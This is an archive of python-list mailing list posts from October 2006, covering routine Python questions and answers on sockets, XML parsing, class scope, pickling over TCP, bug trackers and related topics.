From jf.pieronne at laposte.net  Sun Oct 22 13:57:54 2006
From: jf.pieronne at laposte.net (=?ISO-8859-15?Q?Jean-Fran=E7ois_Pi=E9ronne?=)
Date: Sun, 22 Oct 2006 19:57:54 +0200
Subject: Socket module bug on OpenVMS
In-Reply-To: <453ba3a8$0$322$e4fe514c@news.xs4all.nl>
References: <453ba3a8$0$322$e4fe514c@news.xs4all.nl>
Message-ID: <453BB122.1020100@laposte.net>

> Hi,
> 
> Recently I was bitten by an apparent bug in the BSD socket layer
> on Open VMS. Specifically, it appears that VMS defines MSG_WAITALL
> in socket.h but does not implement it (it is not in the documentation).
> And I use the socket.MSG_WAITALL flag on my recv() calls... and
> then they crash on OpenVMS.
>
Which Python version, OpenVMS version, IP stack and stack version?

If you think this is a Python on OpenVMS problem, send me a small
reproduced anf I will take a look.

If you think it's a OpenVMS problem and if you can provide a simple
reproducer and have a support contract I suggest you call HP, but I
suspect that if it's not documented the reply would be not (yet?) supported.



> I don't have access to an OpenVMS machine myself so could someone
> else that has (or has more knowledge of it) shed some light on it?
> 
>

It appear that the only place, in the Python source code, where
MSG_WAITALL is used is in socketmodule.c:
#ifdef  MSG_WAITALL
        PyModule_AddIntConstant(m, "MSG_WAITALL", MSG_WAITALL);
#endif

May be a workaround is to not use MSG_WAITALL (currently) on OpenVMS and
in next version I will not defined MSG_WAITALL in the socket module on
OpenVMS.

If you need an access to an OpenVMS let me know.

> 
> This also raises the question to what extent Python itself should
> work around platform specific "peculiarities", such as this one.
> There's another problem with socket code on Windows and VMS systems,
> where you get strange exceptions when using a "too big" recv() buffer.
> 

Old Python version on OpenVMS have bugs in the socket module which have
been fixed in newer version. Be sure to check using the latest kit.

> Things like this force me into writing all sorts of error checking
> code or platform specific functions, to work around these bugs.
> Just for what was supposed to be a simple socket recv() and a
> simple socket send()...
> 
> In my opinion Python's socket module itself could implement these
> workarounds. That would make user code a lot cleaner and less
> error prone, and more portable. What do other people think?
> 
> 
> Regards
> --Irmen de Jong

Jean-Francois Pieronne


From dwelch91 at gmail.com  Tue Oct  3 18:05:26 2006
From: dwelch91 at gmail.com (dwelch91 at gmail.com)
Date: 3 Oct 2006 15:05:26 -0700
Subject: Strange xml.parsers.expat import problem [corrected subject]
In-Reply-To: <1158346239.298004.205780@e3g2000cwe.googlegroups.com>
References: <1158346154.021445.143500@m73g2000cwd.googlegroups.com>
	<1158346239.298004.205780@e3g2000cwe.googlegroups.com>
Message-ID: <1159913126.407753.317700@m73g2000cwd.googlegroups.com>

I was able to fix (i.e., work around) this issue by using the import:

import xml.parsers.expat as expat

and then referring to:

expat.ExpatError

I have no idea why this makes it work, seems like a bug in Python to
me.

-Don


dwelch91 at gmail.com wrote:
> Sorry, that should have been "xml.parsers.expat"
>
> dwelch91 at gmail.com wrote:
> > Hi, c.l.p.'ers-
> >
> > I am having a problem with the import of xml.parsers.expat that has
> > gotten me completely stumped. I have two programs, one a PyQt program
> > and one a command line (text) program that both eventually call the
> > same code that imports xml.parsers.expat. Both give me different
> > results...
> >
> > The code that gets called is (print statements have been added for
> > debugging):
> >
> >     # this is status.py
> >     import xml.parsers.expat
> >     print xml
> >     print xml.parsers
> >     print dir(xml.parsers)
> >     print repr(xml.parsers.expat.ExpatError)
> >     print xml.parsers.expat
> >
> >     if info_device_status:
> >         try:
> >             device_status =
> > utils.XMLToDictParser().parseXML(info_device_status)
> >             log.debug_block("info_device_status", info_device_status)
> >             log.debug(device_status)
> >         except xml.parsers.expat.ExpatError:
> >             log.error("Device Status XML parse error")
> >             device_status = {}
> >
> >     if info_ssp:
> >         try:
> >             ssp = utils.XMLToDictParser().parseXML(info_ssp)
> >             log.debug_block("info_spp", info_ssp)
> >             log.debug(ssp)
> >         except xml.parsers.expat.ExpatError:
> >             log.error("SSP XML parse error")
> >             ssp = {}
> >
> > When I run this code from my console program, it prints out:
> >
> > <module '_xmlplus' from
> > '/usr/lib/python2.4/site-packages/_xmlplus/__init__.pyc'>
> > <module 'xml.parsers' from
> > '/usr/lib/python2.4/site-packages/_xmlplus/parsers/__init__.pyc'>
> > ['__all__', '__builtins__', '__doc__', '__file__', '__name__',
> > '__path__', 'expat', 'pyexpat']
> > <class xml.parsers.expat.ExpatError at 0x2aaaac6c6950>
> > <module 'xml.parsers.expat' from
> > '/usr/lib/python2.4/site-packages/_xmlplus/parsers/expat.pyc'>
> >
> > and all is well...
> >
> > However, from the PyQt program I get:
> >
> > <module '_xmlplus' from
> > '/usr/lib/python2.4/site-packages/_xmlplus/__init__.pyc'>
> > <module '_xmlplus.parsers' from
> > '/usr/lib/python2.4/site-packages/_xmlplus/parsers/__init__.pyc'>
> > ['__all__', '__builtins__', '__doc__', '__file__', '__name__',
> > '__path__', 'sgmlop']
> > Traceback (most recent call last):
> >
> > [...snip...]
> >
> >   File
> > "/home/dwelch/tip/linux-imaging-and-printing/src/base/status.py", line
> > 980, in StatusType6
> >     print repr(xml.parsers.expat.ExpatError)
> > AttributeError: 'module' object has no attribute 'expat'
> >
> > Somehow, the import has brought in "_xmlplus" rather than "xml", and
> > "expat" is no longer in the xml.parsers module. This is on the same
> > machine with the same user account, running each program "back to
> > back". Running each program as a different user made no difference.
> >
> > Everything is also OK if I manually enter the import and print commands
> > into a Python >>> prompt.
> > 
> > Any help much appreciated!
> > 
> > -Don



From steve at holdenweb.com  Sat Oct 14 08:55:09 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sat, 14 Oct 2006 13:55:09 +0100
Subject: Python component model
In-Reply-To: <yO2Yg.13671$UG4.883@newsread2.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<1160696330.090125.212900@h48g2000cwc.googlegroups.com>	<4p9ooaFhds1pU1@individual.net>	<1160810219.869916.324790@b28g2000cwb.googlegroups.com>
	<yO2Yg.13671$UG4.883@newsread2.news.pas.earthlink.net>
Message-ID: <egqmlh$du7$1@sea.gmane.org>

Edward Diener No Spam wrote:
> Kay Schluehr wrote:
> 
>>val bykoski wrote:
>>
>>>Peter Wang wrote:
>>>
>>>>Edward,
>>>>
>>>>This isn't in response to any specific one of the 100+ posts on this
>>>>thread, but I justed wanted to encourage you to continue your
>>>>investigation into Python component models and maybe looking for some
>>>>common ground between them.  Frequently the individual developers are
>>>>too heads-down on working on their own things to do a broad survey, so
>>>>I think this would be very useful indeed.
>>>>
>>>>I wouldn't have felt it necessary to post this except for the large
>>>>number of posts along the lines of "foo.dict is introspective enough
>>>>for me!".  I think you might have an easier time evangelizing the
>>>>principle of component-oriented programming (or "event-based", or
>>>>"reactive", or whatever) if you separated it from the notions of RAD UI
>>>>development.  There is a very large difference between writing
>>>>components and writing objects, and it seems that most people arguing
>>>>"python doesn't need components" don't see this distinction.
>>>>
>>>>For me, it's the difference between writing "live" objects and "dead"
>>>>objects.  Live objects not only encapsulate implementations of an
>>>>interface with some state, but they also encapsulate handling of
>>>>events, i.e. responses to changes in their environment.  Dead objects
>>>>have methods but there has to be a function somewhere that knows which
>>>>dead object to call with what parameters at exactly the right time.
>>>>(The only mechanism for managing this complexity is to create ever more
>>>>functions at ever higher levels of abstraction, or to have a
>>>>proliferation of nebulously-defined "manager" objects.)  IMHO once you
>>>>cross this chasm and are able to model your problem domain with live
>>>>objects that go off and automatically respond to the runtime
>>>>environment and Do the Right Thing, it's very hard to go back to a dead
>>>>object mindset.  I can understand, however, that until one makes this
>>>>leap, it might seem like an academic and useless distinction.
>>>>
>>>>-peter
>>>>
>>>
>>>Excellent post, Peter.  Thanks for great clarification. Looking from a
>>>physicist' perspective, im always trying to compare/evaluate languages
>>>from "the physical reality/dynamics" angle.  So, the run-time
>>>space/dynamics is the only one that matches the natural "always-runtime"
>>>objects - atoms, molecules, EM fields, biological cells(?).  It is the
>>>*reactive* world with event/forces-driven dynamics.  Seemingly, there is
>>>nothing beyond that, including biology.
>>
>>A more conventional notion is that of static/dynamic properties of a
>>language. Component models that guarantee certain properties at compile
>>time are easily checked for consistency but to many programmers ( I
>>guess most of the programmers who attend to this list ) they are
>>inflexible: you might change or adapt your components according to
>>events, switch between entities, enable dynamic configuration etc. This
>>can be achieved in C++, Java etc. as well but not without pain.
> 
> 
> Having "static" properties and events is necessary for visual RAD 
> programming environments, where connections are being setup between 
> events and event handlers, and properties are being initialized, at 
> design time. This does not preclude the normal "dynamic" attributes of 
> Python. However if Python programmers reject such visual RAD programming 
> environments as having any value, then they probably won't be interested 
> in a common component model for them.

Such a model would definitely have value (particularly if all tool 
builders subscribed to it: that was how Beans achieved ubiquity).

But there is no such model at the moment. A project to create one might 
receive support or it might not. There's one way to find out ...

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From michele.simionato at gmail.com  Mon Oct  2 12:09:11 2006
From: michele.simionato at gmail.com (Michele Simionato)
Date: 2 Oct 2006 09:09:11 -0700
Subject: postgresql database
In-Reply-To: <1159803809.124967.262290@b28g2000cwb.googlegroups.com>
References: <1159803809.124967.262290@b28g2000cwb.googlegroups.com>
Message-ID: <1159805351.300305.138160@i42g2000cwa.googlegroups.com>


Paolo wrote:
> Ciao a tutti, sto cercando di implementare un applicazione che si
> interfaccia con postgresql(8.1), utilizzando Psycopg2, in ambiente
> windows (python versione 2.5). Ho installato Psycopg2 e provando
> solamente fare: import psycopg mi ritorna il seguente errore:
>
>     import psycopg
> ImportError: No module named psycopg
>
> come mai? va settata qualche path oltre a quella di postgresql ?
>
> grazie dell'aiuto

Well, if you are using Psycopg2, do

import psycopg2

(and please use the italian mailing list for questions in Italian).

         Michele Simionato



From onurb at xiludom.gro  Mon Oct  2 05:18:15 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 02 Oct 2006 11:18:15 +0200
Subject: preemptive OOP?
In-Reply-To: <e9USg.47$1n3.432@news.tufts.edu>
References: <e9USg.47$1n3.432@news.tufts.edu>
Message-ID: <4520d959$0$15868$636a55ce@news.free.fr>

John Salerno wrote:
> Ok, I have a new random question for today -- feel free to ignore and
> get back to your real jobs! :)
> 
> Anyway, I'm creating a GUI (yes, all part of my master plan to
> eventually have some sort of database application working) and it's
> going to involve a wx.Notebook control. I think I have two options for
> how I can do this. Within the class for the main window frame, I can say:
> 
> notebook = wx.Notebook(panel) # panel is parent of the Notebook control
> 
> This uses the default wx.Notebook class, and works just fine. But I was
> thinking, is it a smart idea to do this instead:
> 
> class MyNotebook(wx.Notebook):
>     def __init__(self, parent):
>         wx.Notebook.__init__(self, parent)
> 
> and then call it from the main frame as:
> 
> notebook = MyNotebook(panel)
> 
> This seems to allow for future expansion of the customized Notebook
> class, but at the same time I have no idea how or why I'd want to do that.
> 
> So my question in general is, is it a good idea to default to an OOP
> design like my second example when you aren't even sure you will need
> it?

It of course depends on a lot of factors. Two of these factors are:

1/ given my current knowledge of the project, what are the probabilities
that I'll end up subclassing wx.Notebook ?

2/ if so, in how many places would I have to s/wx.Notebook/MyNotebook/

The second factor is certainly the most important here. Even if the
answer to 1/ is "> 50%", if there's only a couple of calls in a single
file, there's really no need to do anything by now IMHO.

As a side note, the common OO pattern for this potential problem is to
replace direct instanciation with a factory, so you just have to modify
the factory's implementation.

Now one of the nice things with Python is that it doesn't have a "new"
keyword, instead using direct calls to the class (the fact is that in
Python, classes *are* factories already). Another nice thing is that you
can easily 'alias' callables. The combination of these 2 features makes
factory pattern mostly straightforward and transparent. As someone
already pointed out, you don't need to subclass wx.Notebook - just
'alias' it to another name.

> I know it won't hurt, 

Mmm... Not so sure. One could argue that "premature generalization is
the root of all evil" !-)

> and is probably smart to do sometimes,

cf above.

> but
> maybe it also just adds unnecessary code to the program.

It's not that much about the unnecessary code (which can boil down to a
single assignement), but about the unnecessary level of indirection
(which, as someone stated, is the one and only problem that cannot be
solved by adding a level of indirection !-).



-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From bernard.chhun at gmail.com  Mon Oct  2 12:05:03 2006
From: bernard.chhun at gmail.com (Bernard)
Date: 2 Oct 2006 09:05:03 -0700
Subject: Making posts to an ASP.NET webform.
In-Reply-To: <452134c7$0$14008$edfadb0f@dread15.news.tele.dk>
References: <1159800922.942615.28120@i42g2000cwa.googlegroups.com>
	<452134c7$0$14008$edfadb0f@dread15.news.tele.dk>
Message-ID: <1159805102.970972.59340@b28g2000cwb.googlegroups.com>


Max M wrote:
> Bernard skrev:
>
> > Has anyone tried what I'm doing? and if you tried how have you
> > succeeded getting the data back after the post action?
>
> Most likely you get assigned a cookie that you then need to return.
>
> Try the cookielib which automates all this for you.

Yea I'm already using it. I set the cookies before making the server
request. its name is ASP.NET_SessionId.

I've tried setting it on & off during my various tests but I still get
the "urllib2.HTTPError: HTTP Error 500: Internal Server Error" message.

thanks for the response by the way :)



From fulvio at tm.net.my  Sat Oct 21 10:15:50 2006
From: fulvio at tm.net.my (Fulvio)
Date: Sat, 21 Oct 2006 22:15:50 +0800
Subject: The fastest search
In-Reply-To: <pan.2006.10.21.11.09.06.806891@REMOVE.THIS.cybersource.com.au>
References: <mailman.895.1161423841.11739.python-list@python.org>
	<pan.2006.10.21.11.09.06.806891@REMOVE.THIS.cybersource.com.au>
Message-ID: <200610212215.50791.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Saturday 21 October 2006 19:09, Steven D'Aprano wrote:

> So for searches that succeed, dicts are much faster than lists.

Very precious advice. Thank you, indeed. The lesson was good :-)

I'd only like to know if "List.index(vars)" has the same performance than
 "vars in List" or even it's the same thing.
But, so far I still have my own question about that the search goes on the 
key's name rather then its paired value. In fact, in my actual case the value 
doesn't make any use.
However the search goes on a few hundred email ID, the difference is less than 
a jiffy :-)

F




From steve at holdenweb.com  Sun Oct  1 01:05:04 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 01 Oct 2006 06:05:04 +0100
Subject: question about scope
In-Reply-To: <451f2fa7$0$14757$c3e8da3@news.astraweb.com>
References: <451f2fa7$0$14757$c3e8da3@news.astraweb.com>
Message-ID: <efni8e$9ge$1@sea.gmane.org>

John Salerno wrote:
> I have the following code:
> 
> 
> 
> class DataAccessFrame(wx.Frame):
> 
>      menu_items = [('File', 'New Database', 'New Record', 'Open 
> Database...',
>                     'Open Record...', 'Save Record', 'Save All Records',
>                     'Close Record', 'Close Database'),
>                    ('Edit', 'Undo', 'Redo', 'Cut', 'Copy', 'Paste'),
>                    ('Help',)]
> 
>      def __init__(self):
>          wx.Frame.__init__(self, None, title='Database Access Panel')
>          panel = wx.Panel(self)
>          self.create_menubar()
> #       notebook = wx.Notebook(panel)
> 
> #       sizer = wx.BoxSizer()
> #       sizer.Add(notebook, 1, wx.EXPAND)
> #       panel.SetSizer(sizer)
> 
>      def create_menubar(self):
>          menubar = wx.MenuBar()
>          for item in self.menu_items:
>              menu = wx.Menu()
>              menubar.Append(menu, item[0])
>              for subitem in item[1:]:
>                  menu.Append(-1, subitem)
>          self.SetMenuBar(menubar)
> 
> In the create_menubar method, I got an error about the global name 
> "menu_items" not being defined, and this was fixed by putting "self." in 
> front of the variable name.
> 
> But why is this necessary? Doesn't a method look in its enclosing class, 
> or is that not one of the levels of scope?

The methods do indeed look in their enclosing class, but only for 
self-relative references. These are sought first in the instance, then 
in the instance's class, then in the instance's class's superclass, and 
so on up to the ultimate superclass. In other words, all attribute 
lookup uses the method resolution order ...

You can also reference class variables relative to the class name (i.e. 
you could have used DataAccessFrame.menu_items) but that loses a lot of 
flexibility.

Also note that when you bind a value to a self-relative name, that 
binding *always* occurs in the instance's namespace. Some people don't 
like that, but it's a fact of life that others use to provide instance 
defaults in class variables that are shadowed by an instance variable 
after a first assignment.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From jonas.esp at googlemail.com  Fri Oct 20 09:04:02 2006
From: jonas.esp at googlemail.com (GinTon)
Date: 20 Oct 2006 06:04:02 -0700
Subject: Integration of globalization data in Python web frameworks
In-Reply-To: <1161282173.978279.159250@k70g2000cwa.googlegroups.com>
References: <1161282173.978279.159250@k70g2000cwa.googlegroups.com>
Message-ID: <1161349440.736255.92630@i42g2000cwa.googlegroups.com>

The project web is activated
http://webda.python-hosting.com/

GinTon wrote:
> I have created several tables in CSV format with globalization data
> (G11n). There are tables for countries, areas, languages, countries &
> languages, time zones, phones. And they are licensed under a Creative
> Commons license.
>
> http://svn.webda.python-hosting.com/trunk/G11n_data/
>
> I created a new discussion group in order to facilitate the integration
> of G11n data in any framework. It's focused on integrate it on Django
> and TurboGears, but it could be integrated in whatever application with
> the help of the discussions on this group.
>
> It's necessary to discuss several subjects before beginning with the
> integration in the web frameworks. So I ask your collaboration. Thanks!
>
> http://groups.google.com/group/webda
>
> P.S.: I hope that you don't see this post as SPAM. This is something
> very interesting for administrators and users of those web frameworks.



From micahel at gmail.com  Mon Oct 16 13:45:58 2006
From: micahel at gmail.com (micahel at gmail.com)
Date: 16 Oct 2006 10:45:58 -0700
Subject: OT: What's up with the starship?
In-Reply-To: <1161020365.264307.24100@i3g2000cwc.googlegroups.com>
References: <mailman.419.1160722798.11739.python-list@python.org>
	<SEhYg.7681$gL.2383@southeast.rr.com>
	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>
	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>
	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>
	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>
	<1160983523.518768.16110@e3g2000cwe.googlegroups.com>
	<1160993757.780911.37610@b28g2000cwb.googlegroups.com>
	<1161020365.264307.24100@i3g2000cwc.googlegroups.com>
Message-ID: <1161020758.218728.225800@k70g2000cwa.googlegroups.com>


r... at yahoo.com wrote:

> > > 5. Verifying that such a thing has not happened can be very
> > > difficult, particularly if the date and other details of the
> > > compromise cannot be accurately determined.
> >
> > I guess you should find out from the author of whatever you downloaded
> > what the checksums should have been for what you downloaded and check
> > that against what you downloaded.
> >
> > If you don't still have the downloaded files, I can tell you what the
> > md5's of the files in the back up are.
>
> I don't think that would help in the case of Pywin32 since the
> Sourceforge dates for build 210 are 9/22.
> I emailed Mark Hammond but have not heard anything back yet.

In the case of pywin32, are you at all sure that you actually
downloaded anything from starship.python.net?  AFAICT all the files are
now hosted on sf, and there doesn't seem to be any vaguely new files in
the backup of /home/www.

Cheers,
mwh



From sigzero at gmail.com  Wed Oct  4 21:39:59 2006
From: sigzero at gmail.com (Robert Hicks)
Date: 4 Oct 2006 18:39:59 -0700
Subject: Python to use a non open source bug tracker?
In-Reply-To: <22pUg.132825$zy5.1820633@twister1.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
Message-ID: <1160012399.435916.257550@m7g2000cwm.googlegroups.com>


Giovanni Bajo wrote:
> Hello,
>
> I just read this mail by Brett Cannon:
> http://mail.python.org/pipermail/python-dev/2006-October/069139.html
> where the "PSF infrastracture committee", after weeks of evaluation, recommends
> using a non open source tracker (called JIRA - never heard before of course)
> for Python itself.
>
> Does this smell "Bitkeeper fiasco" to anyone else than me?
> -- 
> Giovanni Bajo

No.

Robert



From hanumizzle at gmail.com  Sun Oct 22 12:15:44 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Sun, 22 Oct 2006 12:15:44 -0400
Subject: Screen capture on Linux
In-Reply-To: <1161533213.744934.67170@e3g2000cwe.googlegroups.com>
References: <mailman.905.1161450327.11739.python-list@python.org>
	<1161533213.744934.67170@e3g2000cwe.googlegroups.com>
Message-ID: <463ff4860610220915q7b609780u9cb6b418c529a6ef@mail.gmail.com>

On 22 Oct 2006 09:06:53 -0700, sjdevnull at yahoo.com <sjdevnull at yahoo.com> wrote:
> Paolo Pantaleo wrote:
> > Hi,
> >
> > I need to capture a screen snapshot in Linux. PIL has a module
> > IageGrab, but in the free version it only works under Windows. Is
> > there any package to capture the screen on Linux?
>
> xwd comes with the X server.  man xwd
>
> Most useful is "xwd -root" or similar.  You may want "sleep 5; xwd
> -root" to give you some time to set things up as needed, or map it to a
> window manager keybinding.

The problem with that is that xwd format is a non-standard format, and
*uncompressed* on top of that. If he wants to distribute the image to
friends, or whatever, he'll have to convert it to something like png
anyway. If he's using Linux, he probably doesn't need to use xwd
anyway and might as well save himself the effort (and HD space) now.

-- Theerasak


From luweewu at email.com  Thu Oct 12 16:48:35 2006
From: luweewu at email.com (Rob)
Date: Thu, 12 Oct 2006 20:48:35 GMT
Subject: IDLE won't run
References: <Xns985A7B3E3BE3ECloverdale123@199.185.223.78>
	<gOwXg.22925$Go3.14764@dukeread05>
Message-ID: <Xns985A8C7B1FEA3Cloverdale123@199.185.223.78>

hg <hg at nospam.com> banged out in news:gOwXg.22925$Go3.14764 at dukeread05:

> 
> What kind of error do you see by calling idle from the command line
> (ex: 
>  "c:\....\python.exe c:\....\idle.py"
> 

When I ran it that way, I got a raft of warnings about a "problem 
retrieving theme element 'builtin-forground'" from the colour theme that I 
had set up, then IDLE actually came up. After deleting my colour theme, I 
tried running IDLE in the usual manner (via the shortcut or by opening a 
.PY file in it), and it worked.

(It's rather curious that, even after uninstalling version 2.4.3 
completely, my theme was preserved when I installed 2.5.)


From sigzero at gmail.com  Sat Oct  7 09:38:31 2006
From: sigzero at gmail.com (Robert Hicks)
Date: 7 Oct 2006 06:38:31 -0700
Subject: Python to use a non open source bug tracker?
In-Reply-To: <KGJUg.134415$_J1.895519@twister2.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<45225A1C.8060106@v.loewis.de>
	<KGJUg.134415$_J1.895519@twister2.libero.it>
Message-ID: <1160228311.641756.44940@i3g2000cwc.googlegroups.com>


Giovanni Bajo wrote:
<snip>
> You might also be understimating how negative could be the reaction from the
> open-source community to such a move.
> --
> Giovanni Bajo

That is simply rediculous. Step away from the kool-aid.

Robert



From ath-admin at vt.edu  Tue Oct 17 17:43:17 2006
From: ath-admin at vt.edu (rick)
Date: Tue, 17 Oct 2006 17:43:17 -0400
Subject: block devices
In-Reply-To: <4pksfqFj9i5eU1@uni-berlin.de>
References: <eh3da0$kdc$1@solaris.cc.vt.edu> <4pksfqFj9i5eU1@uni-berlin.de>
Message-ID: <eh3j2v$s4q$1@solaris.cc.vt.edu>

Diez B. Roggisch wrote:
> Reading it? Using read?
> 
> f = open("/dev/foo")
> f.read(1)
> 
> Diez

Wow, I didn't realize it was that simple. Thanks!


From mumebuhi at gmail.com  Tue Oct 24 18:50:29 2006
From: mumebuhi at gmail.com (mumebuhi)
Date: 24 Oct 2006 15:50:29 -0700
Subject: Sending Dictionary via Network
Message-ID: <1161730229.556578.278020@f16g2000cwb.googlegroups.com>

Hi,

Is it possible to send a non-string object from a Python program to
another? I particularly need to send a dictionary over to the other
program. However, this is not possible using the socket object's send()
function.

Help?


Buhi



From arkanes at gmail.com  Mon Oct  9 18:21:49 2006
From: arkanes at gmail.com (Chris Mellon)
Date: Mon, 9 Oct 2006 17:21:49 -0500
Subject: Initialization of variables using no-arg constructor
In-Reply-To: <BAY107-F293E79A4CF09FE86376D46FD160@phx.gbl>
References: <BAY107-F293E79A4CF09FE86376D46FD160@phx.gbl>
Message-ID: <4866bea60610091521x62e65cf3n3e8618793e19a6b7@mail.gmail.com>

On 10/9/06, Edward Waugh <edward_waugh at hotmail.com> wrote:
> Consider the following (working) Python code:
>
> import sys
>
> def sum(list):
>     # total = 0 does not work for non-numeric types
>     total = list[0].__class__()
>     for v in list:
>         total += v
>     return total
>
> l = [1, 2, 3]
> print sum(l)
>
> l = [1.1, 2.2, 3.3]
> print sum(l)
>
> l = ["a", "b", "c"]
> print sum(l)
>
> In order for sum() to be generic I initialize total to the value of
> list[0].__class__().  This works but I would like to know if this is the
> correct or preferred way of doing it.  It means that sum() must be given a
> list whose elements are types or classes that have a no-arg constructor
> (through this is probably almost always the case).
>

I'd do this:

>>> def sum(list):
...     total = list[0]
...     for v in list[1:]:
...         total += v
...     return total

I'm not sure if regular slice notation makes a copy of the list or
not, if it does you can use itertools:

>>> def sum(list):
...     total = list[0]
...     for v in itertools.islice(list, 1, len(list)):
...         total += v
...     return total


> Thanks,
> Edward
>


From sjmachin at lexicon.net  Mon Oct  2 10:46:53 2006
From: sjmachin at lexicon.net (John Machin)
Date: 2 Oct 2006 07:46:53 -0700
Subject: Python/UNO/OpenOffice?
In-Reply-To: <1159794862.317582.214860@e3g2000cwe.googlegroups.com>
References: <78b3a9580609301049y6eef219cy18f89abc58b55e68@mail.gmail.com>
	<mailman.1085.1159790247.10491.python-list@python.org>
	<1159792556.813570.10480@k70g2000cwa.googlegroups.com>
	<1159794483.092877.196110@m7g2000cwm.googlegroups.com>
	<1159794862.317582.214860@e3g2000cwe.googlegroups.com>
Message-ID: <1159800413.806985.123060@m73g2000cwd.googlegroups.com>


olive wrote:
> ... and you have to start your py file with:
>
> import uno, sys, socket
> from com.sun.star.beans import PropertyValue
>
> ... and your start_oo_server.bat file with:
>
> @SET PYTHONPATH=C:\Program Files\OpenOffice.org 2.0\program;C:\Program
> Files\OpenOffice.org 2.0\program\python-core-2.3.4\lib
> @SET PATH=C:\Program Files\OpenOffice.org 2.0\program;C:\Program
> Files\OpenOffice.org 2.0\program\python-core-2.3.4\bin

Many thanks for all that, olive; I made the minimal hacks to make it
open an XLS ffile, and it worked!
I'll try to see why that worked and my previous experiment crashed
inside a DLL.
Cheers,
John



From wahab at chemie.uni-halle.de  Sun Oct  1 06:10:44 2006
From: wahab at chemie.uni-halle.de (Mirco Wahab)
Date: Sun, 01 Oct 2006 12:10:44 +0200
Subject: builtin regular expressions?
In-Reply-To: <mailman.1018.1159653612.10491.python-list@python.org>
References: <451e37a5$1@news.vo.lu><87k63ly1gi.fsf@gmail.com>	<efm0k6$lgg$1@mlucom4.urz.uni-halle.de>	<877izlxsiy.fsf@gmail.com>	<efm4se$mm2$1@mlucom4.urz.uni-halle.de>	<451ea5cc$1@news.vo.lu>	<1159642479.968928.34760@k70g2000cwa.googlegroups.com>	<efmgtt$q1m$1@mlucom4.urz.uni-halle.de>
	<mailman.1018.1159653612.10491.python-list@python.org>
Message-ID: <efo4g0$bon$1@mlucom4.urz.uni-halle.de>

Thus spoke Steve Holden (on 2006-09-30 23:58):
> Mirco Wahab wrote:
>> Thus spoke MRAB (on 2006-09-30 20:54):
>>>One of the differences between the Python way and the Perl way is that
>>>the Perl way has a side-effect: ...
>> I fail to see the benefit of a re-object, I consider these to
>> be just there because regexes aren't in the core language.
>> 
> Fine. Just because you fail to see the benefit, however, that doesn't 
> mean there isn't one. Maybe we just aren't explaining it in terms you 
> can appreciate?

OK, maybe my communication style is bad or
somehow 'Perl newsgroup-hardened' ;-)

Of course, I'd like to really understand
these things (as they were intended), probably
modifying my look onto programming concepts then.

Therefore, I'd like to have a usable and understandable
example of Regex-object juggling, that shows clearly
what its real benefit is (or gives an idea of - ).

Afterwards, I'll surely try to deconstruct
your  assumptions hidden there in order to
*get a better understanding*  for myself ;-)

Regards and thanks

Mirco


From maric at aristote.info  Thu Oct  5 08:41:53 2006
From: maric at aristote.info (Maric Michaud)
Date: Thu, 5 Oct 2006 14:41:53 +0200
Subject: Subclassing built-in classes
In-Reply-To: <eg2t96$jhj$1@sea.gmane.org>
References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com>
	<eg2t96$jhj$1@sea.gmane.org>
Message-ID: <200610051441.54455.maric@aristote.info>

Le jeudi 05 octobre 2006 14:20, Steve Holden a ?crit?:
> Unfortunately the literals are interpreted during bytecode generation,
> before the compiled program is available, and your modifications to
> __builtns__ haven't been made, so the answer is "no", I'm afraid.

But what prevents to interpret literals as a call to __builtins__ objects and 
functions ? optimization ? what else ?

-- 
_____________

Maric Michaud
_____________

Aristote - www.aristote.info
3 place des tapis
69004 Lyon
Tel: +33 426 880 097


From davidh at ilm.com  Fri Oct 13 14:19:03 2006
From: davidh at ilm.com (David Hirschfield)
Date: Fri, 13 Oct 2006 11:19:03 -0700
Subject: Sending binary pickled data through TCP
In-Reply-To: <452fd460$0$4526$e4fe514c@news.xs4all.nl>
References: <mailman.410.1160703734.11739.python-list@python.org>
	<452fd460$0$4526$e4fe514c@news.xs4all.nl>
Message-ID: <452FD897.6080908@ilm.com>

I've looked at pyro, and it is definitely overkill for what I need.

If I was requiring some kind of persistent state for objects shared 
between processes, pyro would be awesome...but I just need to transfer 
chunks of complex python data back and forth. No method calls or keeping 
state in sync.

I don't find socket code particularly nasty, especially through a 
higher-level module like asyncore/asynchat.
-Dave

Irmen de Jong wrote:
> David Hirschfield wrote:
>   
>> I have a pair of programs which trade python data back and forth by 
>> pickling up lists of objects on one side (using 
>> pickle.HIGHEST_PROTOCOL), and sending that data over a TCP socket 
>> connection to the receiver, who unpickles the data and uses it.
>>
>> So far this has been working fine, but I now need a way of separating 
>> multiple chunks of pickled binary data in the stream being sent back and 
>> forth.
>>     
> [...]
>
> Save yourself the trouble of implementing some sort of IPC mechanism
> over sockets, and give Pyro a swing: http://pyro.sourceforge.net
>
> In Pyro almost all of the nastyness that is usually associated with socket
> programming is shielded from you and you'll get much more as well
> (a complete pythonic IPC library).
>
> It may be a bit heavy for what you are trying to do but it may
> be the right choice to avoid troubles later when your requirements
> get more complex and/or you discover problems with your networking code.
>
> Hth,
> ---Irmen de Jong
>   

-- 
Presenting:
mediocre nebula.

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From sybrenUSE at YOURthirdtower.com.imagination  Wed Oct  4 02:00:54 2006
